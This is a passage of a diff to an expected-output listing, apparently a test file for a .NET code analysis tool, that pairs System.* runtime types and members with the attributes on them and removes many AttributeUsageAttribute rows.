System.Collections.Generic.List`1.Enumerator._current | [AllowNullAttribute(...)] | | System.Collections.Generic.List`1.Enumerator._current | [MaybeNullAttribute(...)] | | System.Collections.Generic.NonRandomizedStringEqualityComparer.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Collections.Generic.ValueListBuilder`1 | [IsByRefLikeAttribute(...)] | -| System.Collections.Hashtable | [DebuggerTypeProxyAttribute(...)] | -| System.Collections.KeyValuePairs._key | [DebuggerBrowsableAttribute(...)] | -| System.Collections.KeyValuePairs._value | [DebuggerBrowsableAttribute(...)] | -| System.Collections.KeyValuePairs[] System.Collections.Hashtable.HashtableDebugView.Items | [DebuggerBrowsableAttribute(...)] | -| System.Collections.ObjectModel.Collection`1 | [DebuggerTypeProxyAttribute(...)] | -| System.Collections.ObjectModel.ReadOnlyCollection`1 | [DebuggerTypeProxyAttribute(...)] | | System.CommonlyUsedGenericInstantiations.d__4`1 | [CompilerGeneratedAttribute(...)] | | System.CommonlyUsedGenericInstantiations.d__5 | [CompilerGeneratedAttribute(...)] | | System.CommonlyUsedGenericInstantiations.d__3`1 | [CompilerGeneratedAttribute(...)] | -| System.ComponentModel.DefaultValueAttribute | [AttributeUsageAttribute(...)] | -| System.ComponentModel.EditorBrowsableAttribute | [AttributeUsageAttribute(...)] | | System.ComponentModel.EditorBrowsableAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Console.<>c | [CompilerGeneratedAttribute(...)] | | System.ConsoleCancelEventArgs.k__BackingField | [CompilerGeneratedAttribute(...)] | @@ -97,65 +67,32 @@ attrNoArg | System.DateTimeOffset | [IsReadOnlyAttribute(...)] | | System.DateTimeResult | [IsByRefLikeAttribute(...)] | | System.DefaultBinder.Primitives | [FlagsAttribute(...)] | -| System.Delegate | [ClassInterfaceAttribute(...)] | -| System.Diagnostics.CodeAnalysis.AllowNullAttribute | [AttributeUsageAttribute(...)] | -| System.Diagnostics.CodeAnalysis.DisallowNullAttribute | [AttributeUsageAttribute(...)] | -| System.Diagnostics.CodeAnalysis.DoesNotReturnAttribute | [AttributeUsageAttribute(...)] | -| System.Diagnostics.CodeAnalysis.DoesNotReturnIfAttribute | [AttributeUsageAttribute(...)] | | System.Diagnostics.CodeAnalysis.DoesNotReturnIfAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Diagnostics.CodeAnalysis.MaybeNullAttribute | [AttributeUsageAttribute(...)] | -| System.Diagnostics.CodeAnalysis.MaybeNullWhenAttribute | [AttributeUsageAttribute(...)] | | System.Diagnostics.CodeAnalysis.MaybeNullWhenAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Diagnostics.CodeAnalysis.NotNullAttribute | [AttributeUsageAttribute(...)] | -| System.Diagnostics.CodeAnalysis.NotNullIfNotNullAttribute | [AttributeUsageAttribute(...)] | | System.Diagnostics.CodeAnalysis.NotNullIfNotNullAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Diagnostics.CodeAnalysis.NotNullWhenAttribute | [AttributeUsageAttribute(...)] | | System.Diagnostics.CodeAnalysis.NotNullWhenAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Diagnostics.CodeAnalysis.SuppressMessageAttribute | [AttributeUsageAttribute(...)] | | System.Diagnostics.CodeAnalysis.SuppressMessageAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Diagnostics.CodeAnalysis.SuppressMessageAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Diagnostics.CodeAnalysis.SuppressMessageAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Diagnostics.CodeAnalysis.SuppressMessageAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Diagnostics.CodeAnalysis.SuppressMessageAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Diagnostics.CodeAnalysis.SuppressMessageAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Diagnostics.ConditionalAttribute | [AttributeUsageAttribute(...)] | | System.Diagnostics.ConditionalAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Diagnostics.Contracts.ContractAbbreviatorAttribute | [AttributeUsageAttribute(...)] | -| System.Diagnostics.Contracts.ContractArgumentValidatorAttribute | [AttributeUsageAttribute(...)] | -| System.Diagnostics.Contracts.ContractClassAttribute | [AttributeUsageAttribute(...)] | -| System.Diagnostics.Contracts.ContractClassForAttribute | [AttributeUsageAttribute(...)] | -| System.Diagnostics.Contracts.ContractInvariantMethodAttribute | [AttributeUsageAttribute(...)] | -| System.Diagnostics.Contracts.ContractOptionAttribute | [AttributeUsageAttribute(...)] | -| System.Diagnostics.Contracts.ContractPublicPropertyNameAttribute | [AttributeUsageAttribute(...)] | -| System.Diagnostics.Contracts.ContractReferenceAssemblyAttribute | [AttributeUsageAttribute(...)] | -| System.Diagnostics.Contracts.ContractRuntimeIgnoredAttribute | [AttributeUsageAttribute(...)] | -| System.Diagnostics.Contracts.ContractVerificationAttribute | [AttributeUsageAttribute(...)] | -| System.Diagnostics.Contracts.PureAttribute | [AttributeUsageAttribute(...)] | | System.Diagnostics.Debug.t_indentLevel | [ThreadStaticAttribute(...)] | -| System.Diagnostics.DebuggableAttribute | [AttributeUsageAttribute(...)] | | System.Diagnostics.DebuggableAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Diagnostics.DebuggableAttribute.DebuggingModes | [FlagsAttribute(...)] | -| System.Diagnostics.DebuggerBrowsableAttribute | [AttributeUsageAttribute(...)] | | System.Diagnostics.DebuggerBrowsableAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Diagnostics.DebuggerDisplayAttribute | [AttributeUsageAttribute(...)] | | System.Diagnostics.DebuggerDisplayAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Diagnostics.DebuggerDisplayAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Diagnostics.DebuggerDisplayAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Diagnostics.DebuggerDisplayAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Diagnostics.DebuggerHiddenAttribute | [AttributeUsageAttribute(...)] | -| System.Diagnostics.DebuggerNonUserCodeAttribute | [AttributeUsageAttribute(...)] | -| System.Diagnostics.DebuggerStepThroughAttribute | [AttributeUsageAttribute(...)] | -| System.Diagnostics.DebuggerStepperBoundaryAttribute | [AttributeUsageAttribute(...)] | -| System.Diagnostics.DebuggerTypeProxyAttribute | [AttributeUsageAttribute(...)] | | System.Diagnostics.DebuggerTypeProxyAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Diagnostics.DebuggerTypeProxyAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Diagnostics.DebuggerVisualizerAttribute | [AttributeUsageAttribute(...)] | | System.Diagnostics.DebuggerVisualizerAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Diagnostics.DebuggerVisualizerAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Diagnostics.DebuggerVisualizerAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Diagnostics.DebuggerVisualizerAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Diagnostics.StackFrameHelper.t_reentrancy | [ThreadStaticAttribute(...)] | -| System.Diagnostics.StackTraceHiddenAttribute | [AttributeUsageAttribute(...)] | | System.Diagnostics.Tracing.CounterPayload | [EventDataAttribute(...)] | | System.Diagnostics.Tracing.CounterPayload.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Diagnostics.Tracing.CounterPayload.k__BackingField | [CompilerGeneratedAttribute(...)] | @@ -176,7 +113,6 @@ attrNoArg | System.Diagnostics.Tracing.DiagnosticCounter.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Diagnostics.Tracing.DiagnosticCounter.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Diagnostics.Tracing.EventActivityOptions | [FlagsAttribute(...)] | -| System.Diagnostics.Tracing.EventAttribute | [AttributeUsageAttribute(...)] | | System.Diagnostics.Tracing.EventAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Diagnostics.Tracing.EventAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Diagnostics.Tracing.EventAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | @@ -186,21 +122,17 @@ attrNoArg | System.Diagnostics.Tracing.EventAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Diagnostics.Tracing.EventAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Diagnostics.Tracing.EventAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Diagnostics.Tracing.EventChannelAttribute | [AttributeUsageAttribute(...)] | | System.Diagnostics.Tracing.EventChannelAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Diagnostics.Tracing.EventChannelAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Diagnostics.Tracing.EventCommandEventArgs.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Diagnostics.Tracing.EventCommandEventArgs.k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Diagnostics.Tracing.EventDataAttribute | [AttributeUsageAttribute(...)] | | System.Diagnostics.Tracing.EventDataAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Diagnostics.Tracing.EventDataAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Diagnostics.Tracing.EventDataAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Diagnostics.Tracing.EventFieldAttribute | [AttributeUsageAttribute(...)] | | System.Diagnostics.Tracing.EventFieldAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Diagnostics.Tracing.EventFieldAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Diagnostics.Tracing.EventFieldAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Diagnostics.Tracing.EventFieldTags | [FlagsAttribute(...)] | -| System.Diagnostics.Tracing.EventIgnoreAttribute | [AttributeUsageAttribute(...)] | | System.Diagnostics.Tracing.EventKeywords | [FlagsAttribute(...)] | | System.Diagnostics.Tracing.EventListener.<>c | [CompilerGeneratedAttribute(...)] | | System.Diagnostics.Tracing.EventListener.EventWritten | [CompilerGeneratedAttribute(...)] | @@ -214,7 +146,6 @@ attrNoArg | System.Diagnostics.Tracing.EventProvider.s_returnCode | [ThreadStaticAttribute(...)] | | System.Diagnostics.Tracing.EventSource.m_EventSourceExceptionRecurenceCount | [ThreadStaticAttribute(...)] | | System.Diagnostics.Tracing.EventSource.m_EventSourceInDecodeObject | [ThreadStaticAttribute(...)] | -| System.Diagnostics.Tracing.EventSourceAttribute | [AttributeUsageAttribute(...)] | | System.Diagnostics.Tracing.EventSourceAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Diagnostics.Tracing.EventSourceAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Diagnostics.Tracing.EventSourceAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | @@ -243,7 +174,6 @@ attrNoArg | System.Diagnostics.Tracing.IncrementingPollingCounterPayloadType | [EventDataAttribute(...)] | | System.Diagnostics.Tracing.IncrementingPollingCounterPayloadType.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Diagnostics.Tracing.ManifestBuilder.<>c | [CompilerGeneratedAttribute(...)] | -| System.Diagnostics.Tracing.NonEventAttribute | [AttributeUsageAttribute(...)] | | System.Diagnostics.Tracing.PollingPayloadType | [EventDataAttribute(...)] | | System.Diagnostics.Tracing.PollingPayloadType.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Diagnostics.Tracing.PropertyValue | [IsReadOnlyAttribute(...)] | @@ -278,7 +208,6 @@ attrNoArg | System.Diagnostics.Tracing.XplatEventLogger.<>c | [CompilerGeneratedAttribute(...)] | | System.Environment.<>c | [CompilerGeneratedAttribute(...)] | | System.Exception.DispatchState | [IsReadOnlyAttribute(...)] | -| System.FlagsAttribute | [AttributeUsageAttribute(...)] | | System.GC.MemoryLoadChangeNotification | [IsReadOnlyAttribute(...)] | | System.GC.MemoryLoadChangeNotification.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.GC.MemoryLoadChangeNotification.k__BackingField | [CompilerGeneratedAttribute(...)] | @@ -345,22 +274,15 @@ attrNoArg | System.IntPtr | [IsReadOnlyAttribute(...)] | | System.IntPtr.Zero | [IntrinsicAttribute(...)] | | System.LazyHelper.k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Lazy`1 | [DebuggerTypeProxyAttribute(...)] | | System.LocalDataStoreSlot.k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.MTAThreadAttribute | [AttributeUsageAttribute(...)] | -| System.MarshalByRefObject | [ClassInterfaceAttribute(...)] | | System.Marvin.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.MdUtf8String | [IsReadOnlyAttribute(...)] | | System.MemoryExtensions | [ExtensionAttribute(...)] | -| System.Memory`1 | [DebuggerTypeProxyAttribute(...)] | | System.Memory`1 | [IsReadOnlyAttribute(...)] | -| System.MulticastDelegate | [ClassInterfaceAttribute(...)] | -| System.NonSerializedAttribute | [AttributeUsageAttribute(...)] | | System.Nullable`1 | [NonVersionableAttribute(...)] | | System.Number.BigInteger | [IsByRefLikeAttribute(...)] | | System.Number.BigInteger.<_blocks>e__FixedBuffer | [CompilerGeneratedAttribute(...)] | | System.Number.BigInteger.<_blocks>e__FixedBuffer | [UnsafeValueTypeAttribute(...)] | -| System.Number.BigInteger._blocks | [FixedBufferAttribute(...)] | | System.Number.DiyFp | [IsByRefLikeAttribute(...)] | | System.Number.DiyFp | [IsReadOnlyAttribute(...)] | | System.Number.FloatingPointInfo | [IsReadOnlyAttribute(...)] | @@ -378,67 +300,39 @@ attrNoArg | System.Number.NumberBuffer | [IsByRefLikeAttribute(...)] | | System.Numerics.Vector | [IntrinsicAttribute(...)] | | System.Numerics.Vector`1 | [IntrinsicAttribute(...)] | -| System.ObsoleteAttribute | [AttributeUsageAttribute(...)] | -| System.ParamArrayAttribute | [AttributeUsageAttribute(...)] | | System.ParamsArray | [IsReadOnlyAttribute(...)] | | System.ParseFlags | [FlagsAttribute(...)] | -| System.PlatformID.MacOSX | [EditorBrowsableAttribute(...)] | -| System.PlatformID.Win32S | [EditorBrowsableAttribute(...)] | -| System.PlatformID.Win32Windows | [EditorBrowsableAttribute(...)] | -| System.PlatformID.WinCE | [EditorBrowsableAttribute(...)] | -| System.PlatformID.Xbox | [EditorBrowsableAttribute(...)] | | System.Progress`1.ProgressChanged | [CompilerGeneratedAttribute(...)] | | System.Random.t_threadRandom | [ThreadStaticAttribute(...)] | | System.Range | [IsReadOnlyAttribute(...)] | | System.Range.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Range.k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.ReadOnlyMemory`1 | [DebuggerTypeProxyAttribute(...)] | | System.ReadOnlyMemory`1 | [IsReadOnlyAttribute(...)] | -| System.ReadOnlySpan`1 | [DebuggerTypeProxyAttribute(...)] | | System.ReadOnlySpan`1 | [IsByRefLikeAttribute(...)] | | System.ReadOnlySpan`1 | [IsReadOnlyAttribute(...)] | | System.ReadOnlySpan`1 | [NonVersionableAttribute(...)] | | System.ReadOnlySpan`1.Enumerator | [IsByRefLikeAttribute(...)] | -| System.Reflection.AssemblyAlgorithmIdAttribute | [AttributeUsageAttribute(...)] | | System.Reflection.AssemblyAlgorithmIdAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Reflection.AssemblyCompanyAttribute | [AttributeUsageAttribute(...)] | | System.Reflection.AssemblyCompanyAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Reflection.AssemblyConfigurationAttribute | [AttributeUsageAttribute(...)] | | System.Reflection.AssemblyConfigurationAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Reflection.AssemblyCopyrightAttribute | [AttributeUsageAttribute(...)] | | System.Reflection.AssemblyCopyrightAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Reflection.AssemblyCultureAttribute | [AttributeUsageAttribute(...)] | | System.Reflection.AssemblyCultureAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Reflection.AssemblyDefaultAliasAttribute | [AttributeUsageAttribute(...)] | | System.Reflection.AssemblyDefaultAliasAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Reflection.AssemblyDelaySignAttribute | [AttributeUsageAttribute(...)] | | System.Reflection.AssemblyDelaySignAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Reflection.AssemblyDescriptionAttribute | [AttributeUsageAttribute(...)] | | System.Reflection.AssemblyDescriptionAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Reflection.AssemblyFileVersionAttribute | [AttributeUsageAttribute(...)] | | System.Reflection.AssemblyFileVersionAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Reflection.AssemblyFlagsAttribute | [AttributeUsageAttribute(...)] | -| System.Reflection.AssemblyInformationalVersionAttribute | [AttributeUsageAttribute(...)] | | System.Reflection.AssemblyInformationalVersionAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Reflection.AssemblyKeyFileAttribute | [AttributeUsageAttribute(...)] | | System.Reflection.AssemblyKeyFileAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Reflection.AssemblyKeyNameAttribute | [AttributeUsageAttribute(...)] | | System.Reflection.AssemblyKeyNameAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Reflection.AssemblyMetadataAttribute | [AttributeUsageAttribute(...)] | | System.Reflection.AssemblyMetadataAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Reflection.AssemblyMetadataAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Reflection.AssemblyNameFlags | [FlagsAttribute(...)] | | System.Reflection.AssemblyNameFormatter | [ExtensionAttribute(...)] | -| System.Reflection.AssemblyProductAttribute | [AttributeUsageAttribute(...)] | | System.Reflection.AssemblyProductAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Reflection.AssemblySignatureKeyAttribute | [AttributeUsageAttribute(...)] | | System.Reflection.AssemblySignatureKeyAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Reflection.AssemblySignatureKeyAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Reflection.AssemblyTitleAttribute | [AttributeUsageAttribute(...)] | | System.Reflection.AssemblyTitleAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Reflection.AssemblyTrademarkAttribute | [AttributeUsageAttribute(...)] | | System.Reflection.AssemblyTrademarkAttribute.<Trademark>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Reflection.AssemblyVersionAttribute | [AttributeUsageAttribute(...)] | | System.Reflection.AssemblyVersionAttribute.<Version>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Reflection.Associates.Attributes | [FlagsAttribute(...)] | | System.Reflection.BindingFlags | [FlagsAttribute(...)] | @@ -451,7 +345,6 @@ attrNoArg | System.Reflection.CustomAttributeNamedParameter | [IsReadOnlyAttribute(...)] | | System.Reflection.CustomAttributeType | [IsReadOnlyAttribute(...)] | | System.Reflection.CustomAttributeTypedArgument | [IsReadOnlyAttribute(...)] | -| System.Reflection.DefaultMemberAttribute | [AttributeUsageAttribute(...)] | | System.Reflection.DefaultMemberAttribute.<MemberName>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Reflection.Emit.AssemblyBuilderAccess | [FlagsAttribute(...)] | | System.Reflection.Emit.DynamicResolver.SecurityControlFlags | [FlagsAttribute(...)] | @@ -480,15 +373,12 @@ attrNoArg | System.Reflection.Metadata.AssemblyExtensions | [ExtensionAttribute(...)] | | System.Reflection.MetadataEnumResult.<smallResult>e__FixedBuffer | [CompilerGeneratedAttribute(...)] | | System.Reflection.MetadataEnumResult.<smallResult>e__FixedBuffer | [UnsafeValueTypeAttribute(...)] | -| System.Reflection.MetadataEnumResult.smallResult | [FixedBufferAttribute(...)] | | System.Reflection.MetadataImport | [IsReadOnlyAttribute(...)] | | System.Reflection.MethodAttributes | [FlagsAttribute(...)] | | System.Reflection.MethodSemanticsAttributes | [FlagsAttribute(...)] | | System.Reflection.Module.<>c | [CompilerGeneratedAttribute(...)] | -| System.Reflection.ObfuscateAssemblyAttribute | [AttributeUsageAttribute(...)] | | System.Reflection.ObfuscateAssemblyAttribute.<AssemblyIsPrivate>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Reflection.ObfuscateAssemblyAttribute.<StripAfterObfuscation>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Reflection.ObfuscationAttribute | [AttributeUsageAttribute(...)] | | System.Reflection.ObfuscationAttribute.<ApplyToMembers>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Reflection.ObfuscationAttribute.<Exclude>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Reflection.ObfuscationAttribute.<Feature>k__BackingField | [CompilerGeneratedAttribute(...)] | @@ -510,34 +400,21 @@ attrNoArg | System.Reflection.TypeInfo.<get_DeclaredNestedTypes>d__22 | [CompilerGeneratedAttribute(...)] | | System.ResolveEventArgs.<Name>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.ResolveEventArgs.<RequestingAssembly>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Resources.NeutralResourcesLanguageAttribute | [AttributeUsageAttribute(...)] | | System.Resources.NeutralResourcesLanguageAttribute.<CultureName>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Resources.NeutralResourcesLanguageAttribute.<Location>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Resources.ResourceFallbackManager.<GetEnumerator>d__5 | [CompilerGeneratedAttribute(...)] | | System.Resources.ResourceReader.<>c | [CompilerGeneratedAttribute(...)] | | System.Resources.ResourceReader.<>c__DisplayClass49_0`1 | [CompilerGeneratedAttribute(...)] | -| System.Resources.SatelliteContractVersionAttribute | [AttributeUsageAttribute(...)] | | System.Resources.SatelliteContractVersionAttribute.<Version>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Runtime.AssemblyTargetedPatchBandAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.AssemblyTargetedPatchBandAttribute.<TargetedPatchBand>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Runtime.CompilerServices.AccessedThroughPropertyAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.CompilerServices.AccessedThroughPropertyAttribute.<PropertyName>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Runtime.CompilerServices.AsyncIteratorStateMachineAttribute | [AttributeUsageAttribute(...)] | -| System.Runtime.CompilerServices.AsyncMethodBuilderAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.CompilerServices.AsyncMethodBuilderAttribute.<BuilderType>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Runtime.CompilerServices.AsyncStateMachineAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1.AsyncStateMachineBox`1.StateMachine | [AllowNullAttribute(...)] | | System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1.AsyncStateMachineBox`1.StateMachine | [MaybeNullAttribute(...)] | -| System.Runtime.CompilerServices.CallerArgumentExpressionAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.CompilerServices.CallerArgumentExpressionAttribute.<ParameterName>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Runtime.CompilerServices.CallerFilePathAttribute | [AttributeUsageAttribute(...)] | -| System.Runtime.CompilerServices.CallerLineNumberAttribute | [AttributeUsageAttribute(...)] | -| System.Runtime.CompilerServices.CallerMemberNameAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.CompilerServices.CompilationRelaxations | [FlagsAttribute(...)] | -| System.Runtime.CompilerServices.CompilationRelaxationsAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.CompilerServices.CompilationRelaxationsAttribute.<CompilationRelaxations>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Runtime.CompilerServices.CompilerGeneratedAttribute | [AttributeUsageAttribute(...)] | -| System.Runtime.CompilerServices.CompilerGlobalScopeAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.CompilerServices.ConditionalWeakTable`2.<>c | [CompilerGeneratedAttribute(...)] | | System.Runtime.CompilerServices.ConfiguredAsyncDisposable | [IsReadOnlyAttribute(...)] | | System.Runtime.CompilerServices.ConfiguredCancelableAsyncEnumerable`1 | [IsReadOnlyAttribute(...)] | @@ -551,33 +428,15 @@ attrNoArg | System.Runtime.CompilerServices.ConfiguredValueTaskAwaitable`1 | [IsReadOnlyAttribute(...)] | | System.Runtime.CompilerServices.ConfiguredValueTaskAwaitable`1.ConfiguredValueTaskAwaiter | [IsReadOnlyAttribute(...)] | | System.Runtime.CompilerServices.ContractHelper.InternalContractFailed | [CompilerGeneratedAttribute(...)] | -| System.Runtime.CompilerServices.CustomConstantAttribute | [AttributeUsageAttribute(...)] | -| System.Runtime.CompilerServices.DateTimeConstantAttribute | [AttributeUsageAttribute(...)] | -| System.Runtime.CompilerServices.DecimalConstantAttribute | [AttributeUsageAttribute(...)] | -| System.Runtime.CompilerServices.DefaultDependencyAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.CompilerServices.DefaultDependencyAttribute.<LoadHint>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Runtime.CompilerServices.DependencyAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.CompilerServices.DependencyAttribute.<DependentAssembly>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Runtime.CompilerServices.DependencyAttribute.<LoadHint>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Runtime.CompilerServices.DisablePrivateReflectionAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.CompilerServices.EnumeratorCancellationAttribute | [AttributeUsageAttribute(...)] | -| System.Runtime.CompilerServices.ExtensionAttribute | [AttributeUsageAttribute(...)] | -| System.Runtime.CompilerServices.FixedAddressValueTypeAttribute | [AttributeUsageAttribute(...)] | -| System.Runtime.CompilerServices.FixedBufferAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.CompilerServices.FixedBufferAttribute.<ElementType>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Runtime.CompilerServices.FixedBufferAttribute.<Length>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Runtime.CompilerServices.IndexerNameAttribute | [AttributeUsageAttribute(...)] | -| System.Runtime.CompilerServices.InternalsVisibleToAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.CompilerServices.InternalsVisibleToAttribute.<AllInternalsVisible>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Runtime.CompilerServices.InternalsVisibleToAttribute.<AssemblyName>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Runtime.CompilerServices.IntrinsicAttribute | [AttributeUsageAttribute(...)] | -| System.Runtime.CompilerServices.IsByRefLikeAttribute | [AttributeUsageAttribute(...)] | -| System.Runtime.CompilerServices.IsByRefLikeAttribute | [EditorBrowsableAttribute(...)] | -| System.Runtime.CompilerServices.IsReadOnlyAttribute | [AttributeUsageAttribute(...)] | -| System.Runtime.CompilerServices.IsReadOnlyAttribute | [EditorBrowsableAttribute(...)] | -| System.Runtime.CompilerServices.IteratorStateMachineAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.CompilerServices.JitHelpers | [ExtensionAttribute(...)] | -| System.Runtime.CompilerServices.MethodImplAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.CompilerServices.MethodImplAttribute.<Value>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Runtime.CompilerServices.MethodImplOptions | [FlagsAttribute(...)] | | System.Runtime.CompilerServices.NullableAttribute | [AttributeUsageAttribute(...)] | @@ -589,26 +448,15 @@ attrNoArg | System.Runtime.CompilerServices.NullablePublicOnlyAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.CompilerServices.NullablePublicOnlyAttribute | [CompilerGeneratedAttribute(...)] | | System.Runtime.CompilerServices.NullablePublicOnlyAttribute | [EmbeddedAttribute(...)] | -| System.Runtime.CompilerServices.ReferenceAssemblyAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.CompilerServices.ReferenceAssemblyAttribute.<Description>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Runtime.CompilerServices.RuntimeCompatibilityAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.CompilerServices.RuntimeCompatibilityAttribute.<WrapNonExceptionThrows>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Runtime.CompilerServices.SpecialNameAttribute | [AttributeUsageAttribute(...)] | -| System.Runtime.CompilerServices.StateMachineAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.CompilerServices.StateMachineAttribute.<StateMachineType>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Runtime.CompilerServices.StringFreezingAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.CompilerServices.StrongBox`1.Value | [MaybeNullAttribute(...)] | -| System.Runtime.CompilerServices.SuppressIldasmAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.CompilerServices.TaskAwaiter | [IsReadOnlyAttribute(...)] | | System.Runtime.CompilerServices.TaskAwaiter.<>c | [CompilerGeneratedAttribute(...)] | | System.Runtime.CompilerServices.TaskAwaiter`1 | [IsReadOnlyAttribute(...)] | -| System.Runtime.CompilerServices.TupleElementNamesAttribute | [AttributeUsageAttribute(...)] | -| System.Runtime.CompilerServices.TypeDependencyAttribute | [AttributeUsageAttribute(...)] | -| 